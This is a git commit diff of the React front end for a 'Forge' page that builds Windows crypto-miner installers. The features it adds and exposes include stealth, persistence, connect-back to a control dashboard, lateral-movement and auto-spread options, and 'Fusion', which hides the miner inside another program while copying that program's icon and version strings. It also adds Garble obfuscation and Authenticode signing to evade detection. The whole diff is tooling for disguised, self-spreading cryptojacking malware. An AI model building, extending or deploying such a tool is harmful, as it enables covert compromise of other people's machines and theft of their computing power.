Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
drjones
2026-05-28 21:48:20 -07:00
parent fda72041f0
commit c95a4373de
45 changed files with 2282 additions and 272 deletions

View File

@@ -1,11 +1,11 @@
import { useState, useEffect, useRef, useMemo } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo } from '../types';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import { SETUP_CHEATSHEET } from '../help/settingHelp';
import { forgeDefaultsFromServer } from '../help/forgeDefaults';
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults';
import { lanEndpointCandidates } from '../help/endpointHelpers';
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
import { previewInstallPath } from '../help/installPreview';
@@ -17,8 +17,31 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
import '../components/Fleet/FleetPanels.css';
import './Pages.css';
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
return forgeDefaultsFromServer(config, serverInfo);
function formatBytes(n: number): string {
if (n < 1024) return `${n} B`;
const units = ['KB', 'MB', 'GB'];
let v = n / 1024;
for (const u of units) {
if (v < 1024) return `${v.toFixed(2)} ${u}`;
v /= 1024;
}
return `${v.toFixed(2)} TB`;
}
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
function loadSimpleMode(): boolean {
try {
const v = localStorage.getItem(FORGE_MODE_KEY);
if (v === 'advanced') return false;
} catch {
/* ignore */
}
return true;
}
export default function BuilderPage() {
@@ -30,9 +53,22 @@ export default function BuilderPage() {
const [showRecent, setShowRecent] = useState(false);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
const [estimateLoading, setEstimateLoading] = useState(false);
const [estimateError, setEstimateError] = useState('');
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [listenPort, setListenPort] = useState(8989);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
const setForgeMode = (simple: boolean) => {
setSimpleMode(simple);
try {
localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced');
} catch {
/* ignore */
}
};
const refreshEndpointInfo = async () => {
setRefreshingEndpoints(true);
@@ -56,11 +92,13 @@ export default function BuilderPage() {
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo()])
.then(([config, info]) => {
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
.then(([config, info, builds]) => {
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
setForm(defaultsFromConfig(config, info));
const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
setForm(applySmartForgeDefaults(base, { builds, endpointCandidates: candidates }));
})
.catch((err) => {
console.error(err);
@@ -227,6 +265,24 @@ export default function BuilderPage() {
}
};
const applyRecommendedDefaults = async () => {
if (!form) return;
try {
const [config, info, builds] = await Promise.all([
api.getConfig(),
api.getServerInfo(),
api.listBuilds().catch(() => [] as BuildRecord[]),
]);
const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }));
setBlueprintMsg('✅ Recommended defaults applied');
setTimeout(() => setBlueprintMsg(''), 2500);
} catch (err: unknown) {
setError(err instanceof Error ? err.message : 'Could not refresh defaults');
}
};
const updateField = (field: keyof BuildRequest, value: unknown) => {
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
};
@@ -243,6 +299,44 @@ export default function BuilderPage() {
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
useEffect(() => {
if (!form?.fusion_enabled || !fusionPrepFile) {
setFusionEstimate(null);
setEstimateError('');
return;
}
let cancelled = false;
const timer = window.setTimeout(() => {
setEstimateLoading(true);
setEstimateError('');
api.estimateFusion(form, fusionPrepFile)
.then((est) => {
if (!cancelled) setFusionEstimate(est);
})
.catch((err: Error) => {
if (!cancelled) {
setFusionEstimate(null);
setEstimateError(err.message || 'Estimate failed');
}
})
.finally(() => {
if (!cancelled) setEstimateLoading(false);
});
}, 350);
return () => {
cancelled = true;
window.clearTimeout(timer);
};
}, [
form?.fusion_enabled,
form?.fusion_output_name,
form?.output_dir,
form?.obfuscate,
form?.sign_build,
form?.worker_name,
fusionPrepFile,
]);
if (loadingDefaults || !form) {
return (
<div className="page fade-in command-deck">
@@ -283,10 +377,29 @@ export default function BuilderPage() {
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
<h1>The Forge</h1>
<p className="page-subtitle">
Every miner option lives here install path, stealth, Fusion, persistence. Calibrate tab is server-only.
{simpleMode
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
</p>
</div>
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap' }}>
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
<button
type="button"
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setForgeMode(true)}
title={FIELD_HELP.forge_simple_mode}
>
Simple
</button>
<button
type="button"
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setForgeMode(false)}
>
Advanced
</button>
</div>
<button className="btn btn-outline" onClick={loadRecentBuilds}>
Recent Builds
</button>
@@ -365,31 +478,41 @@ export default function BuilderPage() {
</div>
<div className="card builder-form">
<div className="forge-rules-banner">
<h3 className="font-tech">FORGE RULES READ THIS ONCE</h3>
<p className="form-hint" style={{ margin: 0 }}>
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
</p>
<div className="forge-rules-grid">
<div className="forge-rule-card">
<strong> Baked into installer</strong>
Wallet, pool, threads, install path, stealth, AI toggle frozen when you forge. Re-forge to change.
</div>
<div className="forge-rule-card">
<strong>🖥 Server folder only</strong>
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
</div>
<div className="forge-rule-card">
<strong>🔒 Auto-coupled</strong>
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
</div>
<div className="forge-rule-card">
<strong> Cannot forge until fixed</strong>
Preflight errors below must be resolved warnings let you forge but double-check first.
{simpleMode ? (
<div className="forge-simple-banner card">
<p className="font-tech">RECOMMENDED DEFAULTS AUTO-SELECTED</p>
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
Reset to recommended defaults
</button>
</div>
) : (
<div className="forge-rules-banner">
<h3 className="font-tech">FORGE RULES READ THIS ONCE</h3>
<p className="form-hint" style={{ margin: 0 }}>
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
</p>
<div className="forge-rules-grid">
<div className="forge-rule-card">
<strong> Baked into installer</strong>
Wallet, pool, threads, install path, stealth, AI toggle frozen when you forge. Re-forge to change.
</div>
<div className="forge-rule-card">
<strong>🖥 Server folder only</strong>
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
</div>
<div className="forge-rule-card">
<strong>🔒 Auto-coupled</strong>
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
</div>
<div className="forge-rule-card">
<strong> Cannot forge until fixed</strong>
Preflight errors below must be resolved warnings let you forge but double-check first.
</div>
</div>
</div>
</div>
)}
{liveNotices.length > 0 && (
<div className="forge-live-notices">
@@ -402,10 +525,11 @@ export default function BuilderPage() {
</div>
)}
<h2>Build Miner Installer</h2>
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
<p className="form-description">
Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once.
It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.
{simpleMode
? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.'
: 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'}
</p>
<form onSubmit={handleSubmit}>
@@ -428,6 +552,7 @@ export default function BuilderPage() {
onChange={(e) => updateField('worker_name', e.target.value)}
required
/>
<FieldHint field="worker_name" />
</div>
<div className="form-group endpoint-group">
<div className="endpoint-header">
@@ -483,8 +608,10 @@ export default function BuilderPage() {
onChange={(e) => updateField('wallet', e.target.value)}
required
/>
<FieldHint field="wallet" />
</div>
{!simpleMode && (
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
<div className="label-row">
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
@@ -503,8 +630,11 @@ export default function BuilderPage() {
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
</p>
</div>
)}
</div>
{!simpleMode && (
<>
<div className="form-section">
<ForgeSectionHeader
title="Pool Configuration"
@@ -823,12 +953,16 @@ export default function BuilderPage() {
<ForgeLockedHint meta={fieldMeta.auto_start} />
</div>
</div>
</>
)}
<div className="form-section">
<ForgeSectionHeader
title="Fusion (prep + worker)"
badge="baked"
description="Optional — bundles prep.exe with the miner. Forces background display when enabled."
description={simpleMode
? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.'
: 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'}
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
@@ -849,12 +983,19 @@ export default function BuilderPage() {
type="file"
className="input"
accept=".exe,application/octet-stream"
onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
onChange={(e) => {
const f = e.target.files?.[0] || null;
setFusionPrepFile(f);
if (f?.name) {
updateField('fusion_output_name', f.name);
}
}}
/>
{fusionPrepFile && (
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
)}
</div>
{!simpleMode && (
<div className="form-row">
<div className="form-group">
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
@@ -873,13 +1014,80 @@ export default function BuilderPage() {
<FieldHint field="fusion_output_name" />
</div>
</div>
)}
{simpleMode && fusionPrepFile && (
<p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p>
)}
<p className="form-hint">
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
</p>
{(estimateLoading || fusionEstimate || estimateError) && (
<div className="fusion-estimate-panel card">
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
{estimateLoading && <p className="form-hint">Calculating</p>}
{estimateError && <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>{estimateError}</p>}
{fusionEstimate && (
<>
<ul className="preflight-list" style={{ marginBottom: '0.75rem' }}>
<li className="preflight-item preflight-ok">
<span className="preflight-icon"></span>
<span>Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})</span>
</li>
<li className="preflight-item preflight-ok">
<span className="preflight-icon">+</span>
<span>Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}</span>
</li>
<li className="preflight-item preflight-ok">
<span className="preflight-icon">+</span>
<span>Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}</span>
</li>
<li className="preflight-item preflight-warn">
<span className="preflight-icon"></span>
<span><strong>Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}</strong></span>
</li>
</ul>
<p className="form-hint"><strong>Project root:</strong> <code className="mono-sm">{fusionEstimate.project_root_path}</code></p>
{fusionEstimate.export_path && (
<p className="form-hint"><strong>Export copy:</strong> <code className="mono-sm">{fusionEstimate.export_path}</code></p>
)}
<p className="form-hint"><strong>Archive:</strong> <code className="mono-sm">{fusionEstimate.archive_path_hint}</code></p>
{fusionEstimate.notes?.map((note) => (
<p key={note} className="form-hint">{note}</p>
))}
</>
)}
</div>
)}
</>
)}
</div>
{!simpleMode && (
<>
<div className="form-section">
<ForgeSectionHeader
title="Build pipeline"
badge="server-only"
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
onChange={(e) => updateField('obfuscate', e.target.checked)} />
<span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span>
</label>
<FieldHint field="obfuscate" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
onChange={(e) => updateField('sign_build', e.target.checked)} />
<span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span>
</label>
<FieldHint field="sign_build" />
</div>
</div>
<div className="form-section">
<ForgeSectionHeader
title="Autonomy, Mesh & Lateral Movement"
@@ -946,6 +1154,8 @@ export default function BuilderPage() {
<FieldHint field="auto_spread" />
</div>
</div>
</>
)}
<div className="preflight-panel card">
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
@@ -990,7 +1200,13 @@ export default function BuilderPage() {
<>
<p><strong>Your file (project root):</strong></p>
<code className="path-display">{lastBuild.export_path}</code>
<p className="form-hint">Fusion builds keep the same icon as your uploaded prep when Windows icon extraction succeeds.</p>
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
{(lastBuild.obfuscated || lastBuild.signed) && (
<p className="form-hint">
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
{lastBuild.signed && 'Authenticode signature applied.'}
</p>
)}
</>
)}
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>